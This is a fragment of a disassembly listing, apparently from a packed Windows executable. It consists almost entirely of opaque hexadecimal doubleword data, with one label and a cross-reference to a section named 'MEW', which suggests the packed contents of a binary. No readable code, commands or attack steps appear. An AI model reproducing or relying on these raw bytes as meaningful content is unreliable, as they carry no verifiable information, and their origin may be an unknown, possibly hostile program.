		dd 0F197C862h, 0FFFC16BAh, 0FA64880Ah, 0E255E7FFh, 2CD417F1h
		dd 0AA529BB5h, 0BA78C67Dh, 196EA633h, 249BB88Bh, 32E7D089h
		dd 426571E7h, 95C81FE6h, 0DB2559DFh, 18FD0304h,	0D85529C4h
		dd 0AE9AFC3Fh, 0B14BBC3Ah, 4CCFD825h, 78C5CDF5h, 6B853C86h
		dd 675F16B2h, 6CF1FB0Dh, 5DEF83E9h, 0B5494DFEh,	74BB30A0h
		dd 0ED3BE6F9h, 9BBC4691h, 0B581038Eh, 8936DFBBh, 79C63752h
		dd 0B8F98D8Bh, 60F1CC42h, 2E0C472Bh, 5DB586E6h,	1EEF0879h
		dd 0F9C3642Fh, 38826397h, 6F179032h, 0C53B26C9h, 9FC2FE0Ah
		dd 8EAEC90Fh, 8A5A5068h, 8CC25E9Dh, 9AE9B370h, 8AD45AD1h
		dd 8B966BEBh, 0C932EA67h, 6D00E70Ah, 3E826327h,	0BAFC9CF6h
		dd 71173EFCh, 79FE70CAh, 0B3F0596Ch, 0E3AA695Eh, 82781AAEh
		dd 6BD93091h, 0BB677DC1h, 0F5139DFEh, 7639F280h, 83742668h
		dd 8B537CF0h, 0EBD95309h, 0C0C02B59h, 0C0E78D24h, 14330142h
		dd 0B3394488h, 9CD0A891h, 48D2AA59h, 2BB69730h,	9E1A4BBEh
		dd 0E3B09249h, 3C64C19Bh, 0BDFD3D63h, 0C58771CBh, 0AD8CC279h
		dd 0CCB63353h, 7E5B4B3h, 4BEAFE96h, 8ADBE97Fh, 0E1200812h
		dd 86943D13h, 0FE156A72h, 3A044D47h, 18D811A2h,	2C040949h
		dd 0B1640529h
dword_41005C	dd 0DB3A8DACh, 0BB9E2757h, 4A0E002h, 0CF02D91Ah, 2C173A1Ah
					; DATA XREF: MEW:off_402384o
		dd 0DF1C4FD0h, 5D75811Ch, 0D493CEB3h, 0F0640DCCh, 32C03B68h
		dd 0B648209Fh, 1BD24147h, 0FAA30C31h, 67C6EAA0h, 3F116579h
		dd 2F0CB16Dh, 0CC9ED19Bh, 0CEE965Bh, 1A0B0C28h,	110209A5h
		dd 0CB15E8Fh, 0EBC449E3h, 0D8C6FD41h, 3E05425Bh, 9D7E2758h
		dd 4134B7CAh, 8F2E5209h, 0CA4D496Ah, 1FCD578Fh,	0D3724D7Ch
		dd 1B19A0E0h, 5304719Bh, 0B92CDB6Ch, 0C2B42A1Ch, 3415726Ah
		dd 0B48FD5C1h, 84437DE3h, 0A037E5A6h, 5E3153BBh, 0D7CE6A94h
		dd 0E0A8F1F7h, 0A2A0D71Dh, 0D94F9484h, 0E8506E38h, 26429D26h
		dd 0D54B3264h, 6D711D20h, 0FA0E6DD2h, 8CD10BFFh, 960B08C4h
		dd 7A2DE2FFh, 0D51D9DFAh, 7D2BBBD1h, 99048685h,	5E8537F1h
		dd 6400473Fh, 4384629Bh, 8BC32038h, 51852858h, 2094E37Eh
		dd 9CDC093Fh, 0D1523EE5h, 0D110ADEEh, 9700A9BFh, 5BA17A7Ch
		dd 0E2B309E1h, 0CC8B3C1Fh, 4757D157h, 935C764Ch, 5803AAAEh
		dd 848A4B3Fh, 68491DC8h, 5146B698h, 0DC218EBAh,	116CEAEBh
		dd 96D36163h, 4B144442h, 4B3ADA50h, 0EB0BDC5Bh,	0B317908Fh
		dd 1960EF67h, 0C6727BF8h, 0A634FDBCh, 0A88D4D21h, 50066A76h
		dd 0DF789D92h, 974E5847h, 941BB226h, 0BD456AE9h, 4E922AC3h
		dd 0C2B002FCh, 0EA3B769Eh, 291B271Bh, 8516FB4h,	0BC4EE601h
		dd 4A6DD8D6h, 0A29F354Fh, 2A654CF2h, 0AC67B826h, 18AF8F03h
		dd 1579AD5Fh, 16DD1794h, 1C757562h, 9A97742Bh, 9072006Dh
		dd 0BC439AFCh, 54BD681h, 3740CE6Fh, 0D1DCA558h,	1A2F396Dh
		dd 406684E1h, 0CB4D4A40h, 77745BA3h, 7724621Bh,	0F7D9E10Dh
		dd 0A7E334EDh, 86D58C73h, 0C5081D72h, 908A8D7Ah, 0E6A836AFh
		dd 6793D192h, 4277CB7Bh, 5B75528Ah, 0ECE362CCh,	400CFB2Eh
		dd 5F0DE63Bh, 956CF5D8h, 1C5EB658h, 4575D760h, 0C0920574h
		dd 896FA597h, 0FC49C126h, 0D710F9FBh, 0B61EE961h, 0B73F33B0h
		dd 58A43D37h, 385DBCB6h, 85FA0356h, 0D9BB8D4Fh,	0BCAE8342h
		dd 83BD628h, 3E410127h,	72ACBC19h, 7344815Eh, 0EDA15819h
		dd 2DC5238Ah, 0BB0CF3EAh, 0E02A9CC5h, 66181DB4h, 5FA3AEBDh
		dd 0D379B91Fh, 68845F4Ah, 0C0FDCB34h, 0EE25A6C7h, 0A35FAEDCh
		dd 0A8DD9FD0h, 0B3C93B55h, 0F25C436Fh, 0A23AF27Dh, 0E1DE896h
		dd 76A59DB6h, 0D6F0ABE5h, 2992A07Ah, 3170FDE8h,	0C1364992h
		dd 0F75F40F6h, 6F147522h, 8440EF56h, 293ADF64h,	0DB3FC383h
		dd 69AAFDA7h, 662FB652h, 6F67D0D0h, 93CACEBAh, 0B6A76DD3h
		dd 5CD5B829h, 0D62D0F34h, 0BF9D2876h, 0ADC3AD77h, 0B486B359h
		dd 0B9E4230Bh, 0B739F027h, 103046E5h, 0F6A6FBD8h, 9150A1E0h
		dd 85C72E62h, 0D681258Ch, 5611EEDh, 0F9D5E612h,	0C234014Ah
		dd 4DE10263h, 0B923A2B8h, 9892ADFCh, 8678F3F5h,	0F5496F62h
		dd 495E29A6h, 2651BBCEh, 0D1F2FD46h, 0B7669301h, 428D7953h
		dd 0EC8145C5h, 7F401535h, 8D8F4350h, 0BE6151Bh,	5F5F1FADh
		dd 335C8D17h, 717686CFh, 5856A6FDh, 0FBF93198h,	37267BE5h
		dd 5F926FAh, 0DCB81460h, 30877369h, 0F275945Bh,	9BFEC33Ch
		dd 0DEE4FC72h, 5DDDDFA9h, 0E800991h, 2B7E85DAh,	0ACFB870Fh
		dd 0EA0C91D7h, 18CC6C31h, 917CBB66h, 0CC45E51Fh, 23F142D7h
		dd 1DC71276h, 6A1CE45h,	5A5992FEh, 791322Fh, 0C46C2E20h
		dd 0FE498F2Eh, 122F45A7h, 9358A71Bh, 5E65D9FCh,	0CC7B1612h
		dd 0E9A4E6F2h, 40371F47h, 0C85EEB10h, 0CAC43DFFh, 0FC2921CAh
		dd 352AEDE3h, 356C6631h, 0B93DF554h, 8FDDD103h,	0FDFFC049h
		dd 142172B2h, 5320E191h, 644EEF8Ah, 1AD94C6Eh, 35F7274Eh
		dd 0D48FBDE7h, 983C12D3h, 3E43D665h, 3D5D1CD7h,	0AB20C012h
		dd 53D57C4Bh, 1B81D66Eh, 0EE459461h, 3C7A3654h,	7FA55A0h
		dd 0EE9746B1h, 9874ACB5h, 27EEB83Ch, 4F2B8F1Fh,	89C205A8h
		dd 0EFB3718Ah, 67DFF3C9h, 0ACCD8340h, 0C4C77829h, 8CF4D9F4h
		dd 973732B2h, 4938B9FEh, 0D974957Eh, 61FF5EFBh,	4EB73865h
		dd 781AC298h, 0F4004B7Ch, 387FCF6Ch, 9551160Fh,	21892719h
		dd 194048C7h, 61353C0Bh, 9EF1137Ch, 7285A018h, 34239F7Eh
		dd 408EC9A4h, 7321FB8Dh, 0ACA59C4Fh, 11BC6FF4h,	7BBD4D30h
		dd 291DA78Fh, 6111CC3h,	0EF56C54Dh, 0B7DC2873h,	43F92BF6h
		dd 9989C4F0h, 92F73F0Bh, 875C770Dh, 6E345C67h, 1FD39FF7h
		dd 0E7506E69h, 905410F5h, 0EB9F201Ah, 0E669A06Bh, 0B01D24FEh
		dd 9365878Ch, 4995EC21h, 0EDE0BE00h, 843B288Bh,	3119C8E1h
		dd 0AD07B6A2h, 0AC86174h, 50C87508h, 0A6B5BC0Fh, 797EBDB6h
		dd 0E6FB3AEAh, 0A2C8DB16h, 83F47489h, 0D2563C1h, 6F0978F1h
		dd 7C40B2A4h, 27080951h, 8AD1A26h, 6692008Ah, 4E928DE1h
		dd 0DEBCC376h, 0C39FED77h, 7DD8417Bh, 0D83EA354h, 0F4068E13h
		dd 8974F402h, 9DC8403Dh, 19FA8928h, 1AE93202h, 19A7A0D2h
		dd 106CB064h, 3BED194Ah, 3F6E6BD6h, 22412A15h, 0F620FB6Dh
		dd 38BF4157h, 9D7594D1h, 18152612h, 2F622C29h, 71579152h
		dd 8E5E8C10h, 0D6D8C64Dh, 85211E3Bh, 6C60C505h,	0D8C77827h
		dd 0DCA91736h, 4D6C3895h, 5B0D30D7h, 530E859h, 9FE20ED0h
		dd 497ED1CEh, 0D3ECEA97h, 0CCAF0DE7h, 0CEE621D1h, 0FA9A4E49h
		dd 7D512B13h, 24B5F1ECh, 29BAD6EEh, 0A5CC580Ch,	0E8FB310Ah
		dd 0F143E348h, 266D743Eh, 0C550CB66h, 4246369Dh, 0F6740F9Eh
		dd 24512FA5h, 67E38ABAh, 0B7B44F34h, 326A9C05h,	993CC7F6h
		dd 0A442896Fh, 0C5AA7393h, 0D1C4B943h, 20F374C2h, 0F9486596h
		dd 154B17F3h, 97BE7749h, 21099805h, 671AA029h, 9430504h
		dd 51B66B5Ah, 7E69CF36h, 0E2EE53A0h, 0E0787B59h, 199FC30Fh
		dd 29A51BCAh, 1408774Bh, 8F5A1548h, 0B8B694BAh,	593665CDh
		dd 0B3AB95EDh, 0E86740D2h, 4BFDBFCEh, 5131DF1h,	11E93805h
		dd 2A564DC4h, 0D1BC9AE3h, 0EFDB3B8Bh, 0A6916B50h, 5C989EB9h
		dd 0C65C642Fh, 648A56C1h, 0B5801766h, 84008579h, 802D0D51h
		dd 82E2C302h, 0C146F87h, 8F12F3Fh, 73394FB0h, 1CBECCAEh
		dd 710D4B1Fh, 33A8FAF5h, 0A4EB8A83h, 3CD941E0h,	9FD47C97h
		dd 729A29AFh, 980856F7h, 472E30D7h, 0BF891790h,	0C504CB6Bh
		dd 0C8A7FC6Fh, 69895975h, 0B2B636EFh, 2E65A534h, 7FE52554h
		dd 6286C9F5h, 6EEFBC23h, 76DC9399h, 7D15965Bh, 98613A38h
		dd 259CD175h, 0D21C8B03h, 9CE009DFh, 0D7889B54h, 27F576D2h
		dd 82BF5C0Eh, 66D8E1E7h, 0FB1572AAh, 3476B8CDh,	5DBE8C7Fh
		dd 87B470B7h, 3360E4FBh, 6C776F5Dh, 0DDB68B0Bh,	9F5270D3h
		dd 261F5677h, 0A98EC9E9h, 0DAA400DAh, 336E7523h, 0F75B44AEh
		dd 5A13ED18h, 21D0256Bh, 0D79BF394h, 3662E378h,	2F8206EEh
		dd 2CDD9308h, 0F51D43CBh, 69AA1DF2h, 19CF0AF3h,	4F7633E9h
		dd 490A2E10h, 66BFFDA8h, 7DD4276Bh, 6059FF5Ah, 0A2EAFCCBh
		dd 0AF1EE474h, 0A37EEE89h, 0F6ADDB7Eh, 33E2885Eh, 0EAC8C31Ch
		dd 0A6FEE483h, 2B69EA63h, 6506A234h, 2849DC89h,	1700FDE2h
		dd 987CE5CDh, 1CE7BB99h, 5B0EC763h, 0ED48A187h,	0E9367948h
		dd 2F98FF4Bh, 16EF0D25h, 0CE5CB599h, 669801A7h,	0E31F468Bh
		dd 0F0112F1Eh, 0D471AD97h, 9E00EC55h, 0ED052F92h, 14AB60F7h
		dd 0D0E07456h, 9FDD9929h, 2793996Ah, 84771A9Ah,	5C62A86Dh
		dd 5A71377Ch, 5EFC39FCh, 6D7F2A81h, 590893B2h, 7D46E2DFh
		dd 334F2FE1h, 62683248h, 0EF32459Eh, 0B2AA3414h, 0DA38E6B9h
		dd 5C02BEAAh, 0F560EF23h
		dd 15B2DDA4h, 87635C0Ah, 183C44CBh, 186E9540h, 0AA52E45Ch
		dd 7AD810CBh, 9EB10675h, 0C350B232h, 189F4CFFh,	3B90533Fh
		dd 6992A472h, 7E4DF9E7h, 9CE98342h, 28E8531Bh, 7ECBA1A2h
		dd 15B2F59Ch, 0A268A818h, 0E9ABDA1Eh, 0F41323BDh, 9E4388Ch
		dd 53FA58Ch, 43AED235h,	0C9E0C3BFh, 600FD52Fh, 484578EEh
		dd 76DE8D5Eh, 7310B505h, 0AECE72Fh, 8679A9E0h, 0FDAE4C62h
		dd 20C15231h, 0EB192CD1h, 856FDA17h, 5CD87D95h,	0F529703Dh
		dd 419DC2CFh, 2F1B6916h, 25D8EF33h, 61A77B70h, 8B1600C4h
		dd 4AA19FD5h, 44C7AEF0h, 1F20658Ch, 0E510EB6Ah,	85FC3FFCh
		dd 0D457C37Ah, 29120DC3h, 0E13D7534h, 0F338A3A2h, 1767C1CAh
		dd 4F0EB474h, 0D6A9AA8Dh, 576C2884h, 7B8F7897h,	0CC9538C4h
		dd 6C293AD8h, 0CDE57CCEh, 9A0954CFh, 18754B3Eh,	0D118AE81h
		dd 25A31BE9h, 9B65F883h, 0F7EF2E4h, 0B5DFB640h,	26C98512h
		dd 0C09F72B3h, 34B5594Ch, 117F6697h, 110DE69Dh,	0DB2097A2h
		dd 73E40CE5h, 52528C70h, 24D2292Ah, 694D68BDh, 0FEADF252h
		dd 90EA6339h, 1FDCC2ABh, 0E1D1FE9Fh, 0A344DFD3h, 0AEBB5F24h
		dd 5F4B3D6Fh, 42F934F4h, 9104C0EEh, 7920F8E8h, 145D09CFh
		dd 2DBD4C6Fh, 0EF584E6Dh, 0D5C66064h, 7E314EB1h, 315B430Bh
		dd 91C9EDE9h, 5B0266BCh, 1089A601h, 1F87A4E6h, 0FA89DA1h
		dd 0A6A8F12Bh, 39D764B6h, 0A736EC5Ch, 27DCB038h, 22909DD6h
		dd 0ED8A4460h, 28E426D2h, 0D582FDE8h, 0B1B0199Eh, 5EAF958Ch
		dd 6861826Bh, 0A2BAD418h, 0BCC58312h, 681CE026h, 8631F4DCh
		dd 17FD55B0h, 3C4E8947h, 0A8EBF8B1h, 0E322B907h, 0D845B27Ah
		dd 2AA8445Fh, 631C4A94h, 3266B745h, 337C4F4Ah, 0CDFD4A89h
		dd 7C390B33h, 0FA25963Fh, 0F69F468Ch, 80A36536h, 0CA817F95h
		dd 61E9002Bh, 0A0C933EDh, 0AE3FEF58h, 98C61ED9h, 629A6D35h
		dd 82217D0Dh, 60112E37h, 0A10099Dh, 79DABA2Eh, 0C35084F9h
		dd 7032D577h, 1C0DC506h, 0B169B80Ch, 0D5615CACh, 0E77FCA5Ch
		dd 8C473B4Bh, 1694B064h, 48319CD9h, 42241AB7h, 0F22614FBh
		dd 0B84E616Ah, 0D6481561h, 0B395CA01h, 0D7105BB3h, 0FB3382EFh
		dd 0AF799099h, 0E1469540h, 0F2E34751h, 9CB274B6h, 58DAC5BAh
		dd 0D83D3262h, 348D9356h, 4227732Ch, 9DAD6836h,	84E8F03Fh
		dd 164D845Ch, 0FC84567Bh, 38C4CBCh, 7A77B0D9h, 755BE413h
		dd 0B8DCA5E8h, 1D5E7AC9h, 7E220623h, 1818FB83h,	309383EEh
		dd 0D0EE50E7h, 7264EFC6h, 0E5FC44E3h, 0FC79D2C4h, 9D38DAC4h
		dd 0FEF1FA4Ch, 1460D6D8h, 7E3481DFh, 284CEB1Bh,	30F83BF2h
		dd 0CEDC2E42h, 793298B2h, 8D4F7E1Ah, 339D62D7h,	0EBDBC02Eh
		dd 0B90294F7h, 0A2522719h, 0B60B9FD0h, 0E79D5DB5h, 1D0DDD0Bh
		dd 0AB6928A8h, 5004B9F3h, 252EA97Bh, 18FB461h, 6B48F0CCh
		dd 0BDCD4389h, 0CBC192CFh, 0A8F99440h, 0B47AA83Ah, 2754767Bh
		dd 0D0A10862h, 31ADD988h, 4EBC7EC5h, 0F9779C49h, 4C1D769h
		dd 0FA376D6Eh, 2C4750C6h, 65E8EC5Fh, 2FC286EBh,	0D8DAD7h
		dd 0BC34C4B3h, 33E31418h, 0BC55838Bh, 0E9BC08BAh, 3067CAC3h
		dd 7038C19Dh, 4479E413h, 155F25DAh, 52404534h, 54BAD0DCh
		dd 59691E2h, 0A41FC996h, 2B89B3D8h, 1186455Ah, 1456A615h
		dd 0A0485063h, 0B9EC1963h, 0CBEBF09Ah, 61670216h, 0CC371639h
		dd 69DF669Fh, 5F2852A2h, 0B1641E82h, 4CF7A3F8h,	0ADDD92DEh
		dd 21E14086h, 0DEF0E4EAh, 0CEA85B25h, 0C56EA0ABh, 0DDCBF71Eh
		dd 0DACE3091h, 933D3FD7h, 4D120628h, 0CD02583Bh, 2CAA0A82h
		dd 4F28A1ABh, 0A792962Eh, 1C4DDE2Eh, 22F6501Dh,	8BE0B930h
		dd 0DF2C900Ah, 0F404CBE2h, 89BB0542h, 7D2D83A8h, 2ED67707h
		dd 0D2D4AF03h, 0A0672FF9h, 0D11D7BA3h, 42F23551h, 0AEEAA941h
		dd 460E8558h, 1A34FA71h, 0E4340B0Dh, 90A12599h,	36916814h
		dd 8E2E1B6Ch, 864EE0ADh, 7B6ACF9Ch, 0A95897B7h,	63E563B4h
		dd 0F1E68FEBh, 0F23F2463h, 0DF4D5E58h, 329F29Fh, 86343D66h
		dd 96CEE7E2h, 0CD7DA336h, 0F2E510AFh, 9193E8AEh, 7CC1E562h
		dd 0CD1A6306h, 56BEE14Ch, 4F609EE0h, 594C34DDh,	0DF38AF36h
		dd 0F90CD28Eh, 67061C1h, 5DCD909Eh, 901A9DA2h, 26365413h
		dd 45C69B14h, 997533B5h, 0DBB93C1Dh, 0ED276E38h, 19447DA5h
		dd 4246AAD4h, 20528492h, 6176A1E8h, 32188924h, 0CBBC4527h
		dd 8C3A599Ch, 5829BF71h, 0D0D6CEh, 0C2027BC8h, 568B4061h
		dd 71C53B91h, 0B6BB2C5Ah, 0BFF0FBBh, 88E1F18Ch,	58D37D7Ah
		dd 0D22E82FEh, 95DB2DEFh, 0E7CE1D6Dh, 0F9129D38h, 1F329171h
		dd 33DCABDh, 5621C49Dh,	855BABF4h, 49F646DDh, 37CA699Bh
		dd 0C1FE1FA1h, 31534F28h, 0F638D65Bh, 0D52FE5CAh, 751EACC8h
		dd 85836BF5h, 50C601D6h, 0F64B7C35h, 9248D3A5h,	0FDE36D27h
		dd 0A3E8C76Ah, 9F17C33h, 39238916h, 3B80A552h, 0AD72E247h
		dd 0E9CB1A70h, 0EC24F265h, 277A9EFh, 0B8410843h, 80421B2Fh
		dd 225A1EBh, 48CC4420h,	25CFC9h, 0ECCDB036h, 0AE771DBEh
		dd 0F5B2FD80h, 0F833A3Eh, 0E78D447Dh, 0DD80E2C2h, 4947AA02h
		dd 1E6FBF83h, 3F62524Fh, 36D7C05Bh, 5A7D4AC0h, 6F8947E8h
		dd 8E4032F6h, 51356EFCh, 0C8D05260h, 0A24C7697h, 3B3853CEh
		dd 8FD184B6h, 43A9E076h, 2412F2F3h, 80A1B641h, 0FCB79174h
		dd 0A5545CCh, 6DCA72C9h, 31723734h, 6BB315A7h, 24BAEE17h
		dd 89DECB3Ch, 4197B557h, 0BA567A82h, 0F81D94FEh, 7731D031h
		dd 0AB9A1997h, 2B52BD6Dh, 797E162Dh, 1E97737Fh,	2549EF47h
		dd 595C7FE8h, 9C47AC39h, 8A4A1508h, 6EE76173h, 0A84EB7CBh
		dd 0F03696ABh, 379AA05Ch, 0A5C8DF0Ah, 15FEA0D3h, 77DDA73h
		dd 90CE6861h, 4706CAEh,	50FFD0F7h, 6431FFBFh, 4BD90C64h
		dd 0ADDD8041h, 0F956412Dh, 0C407DC75h, 0BC256B37h, 2BE15342h
		dd 0F5A7FBF1h, 0F32F6545h, 75A0F400h, 0DD01769Ah, 0CA9F3D09h
		dd 0E4518852h, 0DDFE7056h, 8CAD5012h, 9B9EECA3h, 268D7219h
		dd 0A744E787h, 0DA9EE11Eh, 0A5FDE6F4h, 0F01CAB05h, 28EFD0F5h
		dd 4CF45206h, 6C9FBA41h, 0D64080CCh, 85C51369h,	0F20D36E4h
		dd 0B18F1E0Fh, 8D3F3AFCh, 0C70644ABh, 4BC81111h, 0F3B0B173h
		dd 20CCD848h, 0F8476589h, 0ADB9B87Ah, 0BA422843h, 7BC7D639h
		dd 0C2449759h, 0C8F1E75Eh, 0F3FEEFC8h, 0E1A49CCh, 0FFCEFB43h
		dd 141BB366h, 602595ACh, 15006F3Dh, 0CB32FBh, 0CE4E22B4h
		dd 0B35B1D8Dh, 0C73C25F6h, 79341D3Fh, 497CE2CBh, 0CB6D0BFh
		dd 0B77FE5E9h, 3EF1006Dh, 0CC69B44Eh, 8C6206ACh, 31F1CD18h
		dd 1F71C5D0h, 4DBFBA67h, 8F49E446h, 0EF27A953h,	2CB6A055h
		dd 0F00BFD81h, 8A5AA66Bh, 0E530037Ch, 0B990DFFBh, 27273C2h
		dd 294A166Fh, 62696DC4h, 38510F75h, 0FEC6CE0Bh,	97F590ADh
		dd 0F98FD404h, 0C674241Dh, 0E32F25F4h, 0D84BAA0Eh, 0DCCC52CAh
		dd 7238B42Eh, 3D953486h, 5B02BC28h, 83670C6Dh, 21F7F6D0h
		dd 0BFE5FBC1h, 224AE9D9h, 0A04D8BAh, 0A8078D93h, 0DC91D72Dh
		dd 738F4FF6h, 3D5B4ABFh, 23B880CBh, 83260411h, 0CEF4BF90h
		dd 0D5A2247Eh, 0C348E7D1h, 82FF45FAh, 0A6C45E61h, 45F8CB91h
		dd 1E8010h, 0F57F2431h,	2C943C50h, 37F6424Ch, 6BD6523Dh
		dd 0BCB0AA03h, 0F134C60Dh, 8147E410h, 7B1A34DAh, 0B128784h
		dd 54D514BBh, 571F279Ch, 1EDFB73h, 7384F11Fh, 0E12A503Ch
		dd 0E4E4E6D0h, 0B850CCF1h, 1BBDD181h, 87DAD82Eh, 0E1991EAAh
		dd 0E03B443Ah, 4EA3AF4Eh
		dd 2635674h, 0B1A6C5C2h, 9BFC43C8h, 0FD983B48h,	0BFFB9B22h
		dd 9BC2097h, 709D24DCh,	84A732Dh, 0CFAD6751h, 0AF2BBE79h
		dd 5D57D547h, 4D4F7325h, 454B5816h, 399B39BBh, 87787B1Fh
		dd 7175B1A8h, 1227D318h, 5F249ADBh, 5EB1B4AAh, 203387F2h
		dd 4E8F6F98h, 0F897BFA2h, 0B0779481h, 0A6BDAF5Fh, 2961571Ch
		dd 9B5ECE09h, 0A36B38B7h, 4ABA0890h, 0C614F9BCh, 13D1D73Eh
		dd 0BC437CF3h, 34770F1Bh, 0D087AD34h, 1CB54168h, 0D784D3B4h
		dd 0AFA4C4B0h, 7020F5F2h, 1DE3BF8Dh, 9BDC7AE2h,	5B3AA094h
		dd 0EB6D8FDDh, 79100B39h, 502BBE7Eh, 0C331BF23h, 0B055AF89h
		dd 3A86F9CCh, 0A477D652h, 1579876Dh, 649123C8h,	0AAE1C2B1h
		dd 0DA0CC283h, 2A47E540h, 33560B7Dh, 83AA5890h,	1DCE6112h
		dd 0FC1570F7h, 4D1A4944h, 8DDBA9EDh, 0B26221EBh, 0C6E69755h
		dd 4CA98CEBh, 0BB6CBABDh, 7E4CCFFDh, 9DDD2478h,	2A239024h
		dd 2C6EC037h, 0A7C7DF9Ah, 1B82E03Fh, 7ECF70A2h,	0D44CCE62h
		dd 0C7FB6A7Eh, 0DFB1F996h, 346207C6h, 9393F3FBh, 9B714B56h
		dd 7E683173h, 0CEE2D746h, 829556C8h, 0FDE4F06Dh, 0A76F7399h
		dd 0DB5E3572h, 0E0CDD94Dh, 0A4BCB1Fh, 9BDB1140h, 3AEE222Eh
		dd 6A02B51Eh, 0DEEB8345h, 5B3DAA30h, 0D573E6D0h, 61B1915Ch
		dd 8FAA1647h, 3ED1C95Bh, 0A7096C9Bh, 28104485h,	0E30F12EAh
		dd 0EED0B706h, 0FC1A0587h, 408468DBh, 0AA2405C2h, 0E6C9E9D0h
		dd 3F0B3EF5h, 2D845C9Ch, 3784B5Dh, 47DBC46Eh, 32A15BB3h
		dd 6DCB04CDh, 0A4E76A5h, 0EC04C4FDh, 0FB57586Dh, 0BD91677Ch
		dd 2B049508h, 0ED78729h, 531A78F5h, 0D9C89BFAh,	61B4ACA7h
		dd 0B5E1488Ch, 0C2C96853h, 0D2448C33h, 2CF439D0h, 1D435B22h
		dd 9CE5D2B9h, 0F14AFA77h, 924E4966h, 0AF4F6983h, 603E72ABh
		dd 0FE783E89h, 0FDA5997Ch, 2171268Ch, 0EEBBFBD7h, 3EB13F2Eh
		dd 0A0A7E4D8h, 55921C98h, 0D4979C6Bh, 3922511Ch, 0D04219E7h
		dd 0C6865658h, 6829B0EDh, 0CABF15BCh, 0B676B287h, 1B414EB8h
		dd 0D4F5628h, 8D5A9B49h, 9CAA9441h, 0BE393C32h,	198B765Ch
		dd 0ECBAD388h, 7365ED88h, 564B1672h, 1CC34Ch, 87C4C591h
		dd 0D8C22561h, 97F05DB5h, 0FF6C1E19h, 0FC98A8E1h, 5CD0F8EFh
		dd 2F0E640Eh, 0CC99F81Ch, 0CE6BFFD3h, 0DAD1977Dh, 7F47C06Bh
		dd 406E64C9h, 1956FC06h, 0BD39360Eh, 46FEC3D9h,	0F3270317h
		dd 122BB482h, 57D613C2h, 0F72687EBh, 51B7EEEh, 59E54AA9h
		dd 953DF4A2h, 0C97C57FBh, 26CC15D2h, 4BA7E3FBh,	9EFEE123h
		dd 0A27589DBh, 0B77B89F0h, 4EEC4BBAh, 3C551126h, 3F31449Dh
		dd 0A97F0D64h, 0CE3E6469h, 1FBDE72Ah, 0DAD965B1h, 0F3AED83Eh
		dd 0FACCB783h, 0E85B9903h, 9382689Fh, 0BC7C36F6h, 2CB7F52Ah
		dd 5C94838Dh, 1F34DFBh,	28F7538Fh, 0F0BC36E7h, 0E1075113h
		dd 0A51DFDC8h, 0A7ED2917h, 7D7CDC20h, 1255F9CDh, 0D86A8647h
		dd 0B4C4D5D1h, 0C1AEA615h, 9FCA2413h, 0C1C27DA5h, 198674C9h
		dd 0B957440Fh, 96B9C88Bh, 0D0855F1Bh, 5C901CDDh, 0A2198Bh
		dd 0D6F5DC7Bh, 0DAF7EDA6h, 2E61970Bh, 924FF88Bh, 8B7AC33Eh
		dd 6BD8FD9Dh, 5776B6C7h, 0B7D7DE0Ch, 0C70D257Ch, 15637024h
		dd 6554A52Eh, 5CBC0758h, 2283CFC7h, 751731C7h, 6D0541C9h
		dd 0BE1A787h, 5D46F9BAh, 0C57B6F4Fh, 8C34AEA2h,	0F3DDBB35h
		dd 0AF9B94D1h, 0E5209101h, 0B965331Ah, 2EBD6094h, 1E8DAEA0h
		dd 0B2C90341h, 0F055DFA9h, 47BC7079h, 0CD6A775Eh, 567CCF7Fh
		dd 0DD425EEFh, 0DCDAAB24h, 29E29829h, 6F5BA4EAh, 741D94A0h
		dd 1760EB06h, 31B471Fh,	738BDFE9h, 0EBE8BA85h, 0E70BFDD7h
		dd 0F8300322h, 27FFB597h, 1C991E58h, 0BF31ECC3h, 0FCE3B1A9h
		dd 0CE6617FDh, 0EB2E8CD4h, 7187F1A6h, 0D9CF6D76h, 0A9473E90h
		dd 46835581h, 636A1F50h, 0AAA9D4B1h, 539E3939h,	0B3557CD1h
		dd 0B7C09671h, 0D336FD20h, 344BEDCEh, 511D8F68h, 1635B15Bh
		dd 19FF2BB1h, 0ECB3FFA6h, 71A7EABFh, 9B846C2Bh,	0A83E2135h
		dd 2C6239E2h, 3E44513Bh, 0A85CAF0Fh, 0EF3BFB10h, 65D164F2h
		dd 0A67D4EC3h, 142B915Ah, 0EDE83FEh, 0EE1DE62Eh, 0A1F5E970h
		dd 0CE2074FAh, 0A8C690D6h, 20149DF5h, 4272830Eh, 717F4AB4h
		dd 0EF2F170Dh, 0A0720F44h, 0CB73324Ch, 7008A3B2h, 0FACF0A23h
		dd 7EAA223Ch, 886B1FB1h, 0CED99509h, 0D7719F9Dh, 7F261BB4h
		dd 0C0BC7953h, 96852F9Bh, 20668ACEh, 751CF4E1h,	2F7A1111h
		dd 0E417357h, 0F44CFAC4h, 0E876F87Ch, 2FB688A6h, 6AF4F5C0h
		dd 16F4EC68h, 0EB6B4DDCh, 0D7727B72h, 4851E5DAh, 0E8B90808h
		dd 6652FB5Eh, 44600833h, 61EF73ECh, 4036C84Bh, 0B443079Eh
		dd 0FCE1A4A8h, 0AAD616FDh, 847E12B5h, 3734B084h, 0CFF9C8A3h
		dd 0C0F0FB13h, 3BF63D4Ch, 0FE3FE0E1h, 3D5C6BFAh, 262328AFh
		dd 0DAF44483h, 54D82E45h, 87CBE19Fh, 0B7EF7B50h, 146B1538h
		dd 1EAB7EF4h, 0DB0A100Bh, 7F4E53F0h, 58F5B6E9h,	0EDB09719h
		dd 359A56EDh, 0F52BADB1h, 0BEF2870h, 79A910Dh, 0EC281CDDh
		dd 0C945E58Bh, 5A39ABE2h, 81AB1097h, 0C5F5A905h, 12C98261h
		dd 0E7BE7016h, 0E23CBCFDh, 8D8AB0C6h, 41AAAF86h, 0D5A9C4B3h
		dd 0AAA5D087h, 156D0DD0h, 1A2144B4h, 646A7FEh, 41DE548Eh
		dd 0D4723466h, 260CF75Bh, 42D8B9B9h, 0DCBBB48Ch, 6201650Bh
		dd 0D6E1B5AFh, 34040FEh, 0A87A1ED0h, 0C526F79Fh, 667BBA2Fh
		dd 0A1100E90h, 53B13492h, 9DF963E2h, 0EA2C87E2h, 0D8D993CBh
		dd 579EB3DFh, 7107E273h, 20D4BB82h, 67FF72D3h, 7B470B4Fh
		dd 68323689h, 781AB392h, 3A005CDAh, 5E72E3A6h, 0E890AD54h
		dd 7351D44h, 0C386E65Bh, 0DF765EB7h, 0F604489h,	0ADA8C28Bh
		dd 6CE8ABA0h, 0CE2F1E11h, 0F762CCFCh, 0FD497717h, 55541C8Dh
		dd 0D231748Ch, 3C748E9Bh, 36182796h, 0E7EBA582h, 6F62DB89h
